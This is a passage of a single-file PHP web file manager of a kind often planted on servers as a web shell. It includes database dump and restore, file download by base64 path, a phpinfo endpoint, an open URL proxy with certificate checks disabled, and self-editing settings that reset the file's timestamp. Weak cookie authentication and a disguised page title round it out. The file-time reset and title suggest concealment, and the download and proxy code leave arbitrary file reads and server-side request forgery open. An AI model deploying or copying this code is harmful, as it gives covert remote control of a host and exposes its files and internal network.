				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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